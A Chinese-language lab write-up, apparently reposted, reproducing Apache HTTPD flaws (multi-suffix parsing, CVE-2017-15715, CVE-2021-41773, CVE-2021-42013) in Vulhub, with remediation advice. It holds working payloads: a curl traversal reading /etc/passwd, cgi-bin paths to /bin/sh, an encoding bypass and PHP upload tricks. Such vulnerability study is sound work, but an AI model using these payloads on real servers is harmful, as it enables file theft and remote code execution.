Apache HTTPD 漏洞复现

文章目录

  • Apache HTTPD 漏洞复现
    • 1. Apache HTTPD 多后缀解析漏洞
      • 1.1 漏洞描述
      • 1.2 漏洞复现
      • 1.3 漏洞利用
      • 1.4 获取GetShell
      • 1.5 漏洞防御
    • 2. Apache HTTPD 换行解析漏洞-CVE-2017-15715
      • 2.1 漏洞描述
      • 2.2 漏洞复现
      • 2.3 漏洞利用
      • 2.4 修复建议
    • 3. Apache HTTP Server_2.4.49 路径遍历和文件泄露漏洞-CVE-2021-41773
      • 3.1 漏洞描述
      • 3.2 漏洞复现
      • 3.3 漏洞利用
      • 3.4 修复建议
    • 4. Apache HTTP 服务器 2.4.50 中的路径遍历和文件泄露漏洞-CVE-2021-42013
      • 4.1 漏洞描述
      • 4.2 漏洞复现
      • 4.3 漏洞利用
      • 4.4 修复建议

Apache HTTPD 漏洞复现

1. Apache HTTPD 多后缀解析漏洞

链接地址:Vulhub - Docker-Compose file for vulnerability environment。

1.1 漏洞描述

说明内容
漏洞编号
漏洞名称Apache HTTPD 多后缀解析漏洞
漏洞评级高危
漏洞描述在有多个后缀的情况下,只要一个文件含有.php后缀的文件即将被识别成PHP文件,没必要是最后一个后缀。利用这个特性,将会造成一个可以绕过上传白名单的解析漏洞。
修复方案打补丁,上设备,升级组件

1.2 漏洞复现

环境启动

image-20230907113621912

访问80端口

image-20230907113808892

1.3 漏洞利用

环境运行起来后访问页面,上传一个文件

image-20230907114121455

显示上传不支持的文件类型

image-20230907114212135

我们可以将文件的后缀名修改为.png的格式来进行上传

image-20230907114320594

显示上传成功,并且显示出来所上传文件的路径。

image-20230907114338754

访问http://your-ip/uploadfiles/wuhu.php.png即可,发现phpinfo被执行了,该文件被解析为php脚本。

image-20230907114514974

http://your-ip/index.php中是一个白名单检查文件后缀的上传组件,上传完成后并未重命名。我们可以通过上传文件名为xxx.php.jpgxxx.php.pngxxx.php.jpeg的文件,利用Apache解析漏洞可以进行getshell。

1.4 获取GetShell

image-20230907115212021

image-20230907115254937

漏洞原因

image-20230907140926769

遇到以.php结尾的文件名后缀,就将其作为php文件执行。也就是所说只要文件后缀名中包含php就将其作为php脚本来执行。

1.5 漏洞防御

  • 通过正则方式来对其进行限制;、在配置文件中添加如下内容,匹配样式为 .php. 的文件并拒绝访问(该漏洞环境配置文件位于漏洞环境目录的 conf/docker-php.conf 生产环境中按照具体情况而定)
  • 将原本的 AddHandler application/x-httpd-php .php 注释掉,然后利用正则表达式单独为.php的文件添加处理程序

2. Apache HTTPD 换行解析漏洞-CVE-2017-15715

链接地址:Vulhub - Docker-Compose file for vulnerability environment。

2.1 漏洞描述

说明内容
漏洞编号CVE-2017-15715
漏洞名称Apache HTTPD 换行解析漏洞
漏洞评级高危
影响范围2.4.0~2.4.29
漏洞描述Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。
修复方案打补丁,上设备,升级组件

2.2 漏洞复现

环境启动

image-20230907152738272

启动后Apache运行在http://your-ip:8080

image-20230907152858609

2.3 漏洞利用

上传一个名为wuhu.php的文件,被拦截:

image-20230907153020635

使用bp抓包查看

image-20230907153241072

先在wuhu.php后面添加一个点,然后修改其十六进制编码形式。

image-20230907153441604

在wuhu.php后面插入一个\x0A(注意,不能是\x0D\x0A,只能是一个\x0A),不再拦截:

image-20230907153718381

然后发包即可

image-20230907153806909

浏览器访问刚才上传的/wuhu.php%0a,发现能够成功解析,但这个文件不是php后缀,说明目标存在解析漏洞:

image-20230907154011583

2.4 修复建议

  1. 更新 Apache HTTPD 版本: 到目前为止,Apache HTTPD 团队已经发布了修复此漏洞的版本。建议尽快升级到最新版本,以确保服务器不受攻击
  2. 配置过滤换行符: 可以通过配置 Apache 的请求过滤来阻止恶意请求中的换行符。可以使用 mod_security 或其他安全模块来检测和过滤请求中的非法字符。
  3. 输入验证和过滤: 在处理用户输入数据时,进行严格的输入验证和过滤。特别是对于 HTTP 请求头、参数和路径等用户可控部分,要进行适当的输入验证,确保只有合法的字符和格式被接受。
  4. 启用安全模块: Apache HTTPD 提供了一些安全模块,如 mod_security 和 mod_rewrite。启用这些模块,并使用适当的规则和过滤器来检测和阻止恶意请求,可以提高服务器的安全性。

3. Apache HTTP Server_2.4.49 路径遍历和文件泄露漏洞-CVE-2021-41773

链接地址:Apache HTTP 服务器 2.4.49 中的路径遍历和文件泄露漏洞 (CVE-2021-41773)

3.1 漏洞描述

说明内容
漏洞编号CVE-2021-41773
漏洞名称Apache HTTP 服务器 2.4.49 中的路径遍历和文件泄露漏洞
漏洞评级高危
影响范围2.4.49-2.4.50
漏洞描述在 Apache HTTP Server 2.4.49 中对路径规范化所做的更改中发现一个缺陷。攻击者可以使用路径遍历攻击将 URL 映射到预期文档根目录之外的文件。如果这些目录之外的文件不受通常的默认配置“要求全部拒绝”的保护,则这些请求可以成功。如果还为这些别名路径启用了 CGI 脚本,则可能允许远程执行代码。
修复方案打补丁,上设备,升级组件

3.2 漏洞复现

环境启动

image-20230907155958632

服务器启动后,您通过 .It works!http://your-ip:8080访问页面。

image-20230907160147412

3.3 漏洞利用

一个简单的 CURL 命令来重现漏洞(请注意,必须是现有目录):/icons/

使用bp抓取数据包,然后修改即可。

curl -v --path-as-is http://your-ip:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

image-20230907161743094

在服务器上启用 mods cgi 或 cgid 后,此路径遍历漏洞将允许任意命令执行:

cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh

image-20230907163748004

3.4 修复建议

  1. 更新 Apache HTTP Server 版本: 确保您的 Apache HTTP Server 版本已经升级到最新的安全版本。Apache 团队已发布了修复此漏洞的补丁,建议尽快更新至官方发布的修复版本。
  2. 配置文件和目录权限: 检查您的服务器上敏感文件的权限配置。确保只有必要的用户和组才能访问这些文件,并设置适当的权限以防止未授权的访问。
  3. 过滤请求参数: 使用适当的输入验证和过滤来处理用户提供的请求参数。特别是对于路径参数或其他用户可控的输入,要进行严格的验证和过滤,防止路径遍历攻击。

4. Apache HTTP 服务器 2.4.50 中的路径遍历和文件泄露漏洞-CVE-2021-42013

链接地址:Vulhub - 用于漏洞环境的 Docker-Compose 文件

4.1 漏洞描述

说明内容
漏洞编号CVE-2021-42013
漏洞名称Apache HTTP 服务器 2.4.50 中的路径遍历和文件泄露漏洞
漏洞评级高危
影响范围2.4.49~2.4.50
漏洞描述CVE-2021-42013 是一个漏洞,由 CVE-2021-41773修复不完整导致,攻击者可以使用路径遍历攻击将 URL 映射到类别名指令配置的目录之外的文件。
修复方案打补丁,上设备,升级组件

4.2 漏洞复现

环境启动

image-20230907164501458

4.3 漏洞利用

Apache HTTP 服务器 2.4.50 修补了以前的 CVE-2021-41773 有效负载,例如 ,但它不完整。

使用bp抓取数据包,然后修改即可。

绕过修补程序(请注意,必须是现有目录):.%%32%65``/icons/

/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd

image-20230907164700755

在服务器上启用 mods cgi 或 cgid 后,此路径遍历漏洞将允许任意命令执行:

cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh

image-20230907164937559

4.4 修复建议

  1. 更新 Apache HTTP Server 版本: 确保您的 Apache HTTP Server 版本已经升级到最新的安全版本。Apache 团队已发布了修复此漏洞的补丁,建议尽快更新至官方发布的修复版本。
  2. 配置文件和目录权限: 检查您的服务器上敏感文件的权限配置。确保只有必要的用户和组才能访问这些文件,并设置适当的权限以防止未授权的访问。
  3. 过滤请求参数: 使用适当的输入验证和过滤来处理用户提供的请求参数。特别是对于路径参数或其他用户可控的输入,要进行严格的验证和过滤,防止路径遍历攻击。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/79156.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

无涯教程-JavaScript - ISREF函数

描述 如果指定的值是参考,则ISREF函数返回逻辑值TRUE。否则返回FALSE。 语法 ISREF (value) 争论 Argument描述Required/OptionalvalueA reference to a cell.Required Notes 您可以在执行任何操作之前使用此功能测试单元格的内容。 适用性 Excel 2007,Excel 2010,Exce…

LCP 50. 宝石补给

每位勇者初始都拥有一些能量宝石, gem[i] 表示第 i 位勇者的宝石数量。现在这些勇者们进行了一系列的赠送,operations[j] [x, y] 表示在第 j 次的赠送中 第 x 位勇者将自己一半的宝石(需向下取整)赠送给第 y 位勇者。 在完成所有…

【LeetCode】210. 课程表 II——拓扑排序

题目链接:210. 课程表 II 题目描述: 现在你总共有 numCourses 门课需要选,记为 0 到 numCourses - 1。给你一个数组 prerequisites ,其中 prerequisites[i] [ai, bi] ,表示在选修课程 ai 前 必须 先选修 bi 。 例如…

【计算机网络】网络编程接口 Socket API 解读(7)

Socket 是网络协议栈暴露给编程人员的 API,相比复杂的计算机网络协议,API 对关键操作和配置数据进行了抽象,简化了程序编程。 本文讲述的 socket 内容源自 Linux man。本文主要对各 API 进行详细介绍,从而更好的理解 socket 编程。…

【Flowable】使用UEL整合Springboot从0到1(四)

前言 在前面我们介绍了Springboot简单使用了foleable以及flowableUI的安装和使用,在之前我们分配任务的处理人的时候都是通过Assignee去指定固定的人的。这在实际业务中是不合适的,我们希望在流程中动态的去解析每个节点的处理人,当前flowab…

9.12 C++作业

实现一个图形类(Shape),包含受保护成员属性:周长、面积, 公共成员函数:特殊成员函数书写 定义一个圆形类(Circle),继承自图形类,包含私有属性:半…

【Android知识笔记】UI体系(三)

View动画原理 当我们创建View动画时,一般使用类似如下代码: ScaleAnimation scaleAnimation = new ScaleAnimation(0,1,0,1); scaleAnimation.setDuration(3000); scaleAnimation.setFillAfter

Jest单元测试相关

官方文档:jest 中文文档 1、模拟某个函数,并返回指定的结果 使用Jest测试JavaScript(Mock篇) 有这样一个需求,mock掉Math.random方法(0(包括)~1之间),使其返回指定的0…

华为Java工程师面试题

常见问题: 什么是Java虚拟机(JVM)?它与现实中的计算机有什么不同?Java中的基本数据类型有哪些?它们的范围是什么?什么是引用类型?Java中的引用类型有哪些?什么是对象&am…

PostgreSQL的主从复制方式

主从复制方式 PostgreSQL支持多种主从复制(Master-Slave Replication)方式,用于创建可靠的数据备份和故障容错解决方案。以下是几种常见的主从复制方式: 同步复制(Synchronous Replication):在…

计算机网络TCP篇之流量控制

计算机网络TCP篇之流量控制 今天谈一谈我对于tcp流量控制的看法 在网络拓扑中如果发送方节点的发送速率大于接受方节点的接受速率,数据会不断在接受方的缓冲区累积,直到接受方的缓冲区满的时候,发送方继续发送数据,这时候接受方无…

Redis群集

目录 1、redis群集三种模式 2、Redis 主从复制 2.1 主从复制的作用 2.2 主从复制流程 2.3 搭建Redis 主从复制 3、Redis 哨兵模式 3.1 哨兵模式的作用 3.2 故障转移机制 3.3 主节点的选举 4、Redis 群集模式 4.1 集群的作用 4.2 Redis集群的数据分片 4.3 搭建Redis…

算法通关村18关 | 回溯模板如何解决分割回文串问题

1. 分割回文串 题目 LeetCode131 分割回文串,给你一个字符串s,请你将s分割成一些字串,使每个字串都是回文串,返回s所有可能的分割方案。 回文串是正着和反着读都是一样的字符串。 思路 知道回溯的模板,用回溯的角度思…

用python实现音乐下载

前言 本文背景 最近对音乐比较有需求,想着用自己学的python来实现一下下载需求, 真的是拿着锤子在满世界找钉子,**文末附全部代码**声明: 本文仅作技术交流,禁止用于其他非法途径本文2023年9月15日是可用的&#xff…

漫谈:C语言 值传递 函数参数 指针

C语言麻拐得很。 什么是变量?变量就是内存里面的一个东西,有值。 什么是“值传递”?C语言函数参数调用都是值传递,就是把变量的值给函数。 这里面一个大坑,就是函数参数究竟是什么?很多初学者对“值传递”、…

RUST 每日一省:全局变量

Rust中允许存在全局变量。它们一般有两种:常数和静态值。 常量 我们使用关键字 const 来创建常量。由于常量未使用关键字 let 声明,因此在创建它们时必须指定类型。常量只能进行简单赋值,并且没有固定的内存地址,无论它们在何处使…

Ubuntu 安装 Docker Engine

今天又装 docker 来着,看到英文官网上点来点去点进 Desktop 版本,而中文官网跳转安装网址有错误,所以写一下安装教程 ubuntu ubuntu 安装 docker engine 官网教程 更新apt包索引并安装包以允许apt通过 HTTPS 使用存储库: sudo …

2024字节跳动校招面试真题汇总及其解答(二)

1. 微服务的好处,划分原则 微服务是软件架构的一种模式,它将应用程序划分为一系列小型、独立的服务。每个服务都提供一个单独的功能,并使用轻量级的接口相互通信。 微服务架构具有以下好处: 灵活性:微服务可以独立部署、扩展和更新,这使得它们能够随着业务需求的变化而…

AI Studio星河社区生产力实践:基于文心一言快速搭建知识库问答

还在寻找基于文心一言搭建本地知识库问答的方案吗?AI Studio星河社区带你实战演练(支持私有化部署)! 相信对于大语言模型(LLM)有所涉猎的朋友,对于“老网红”知识库问答不会陌生。自从大模型爆…

树和二叉树

1、树的定义2、树的基本术语3、二叉树的定义4、二叉树的性质和存储结构5、满二叉树、完全二叉树**完全二叉树的性质** 6、二叉树的存储顺序存储结构链式存储结构 7、遍历二叉树演示8、二叉树相关算法(1)遍历二叉树递归算法实现(2)…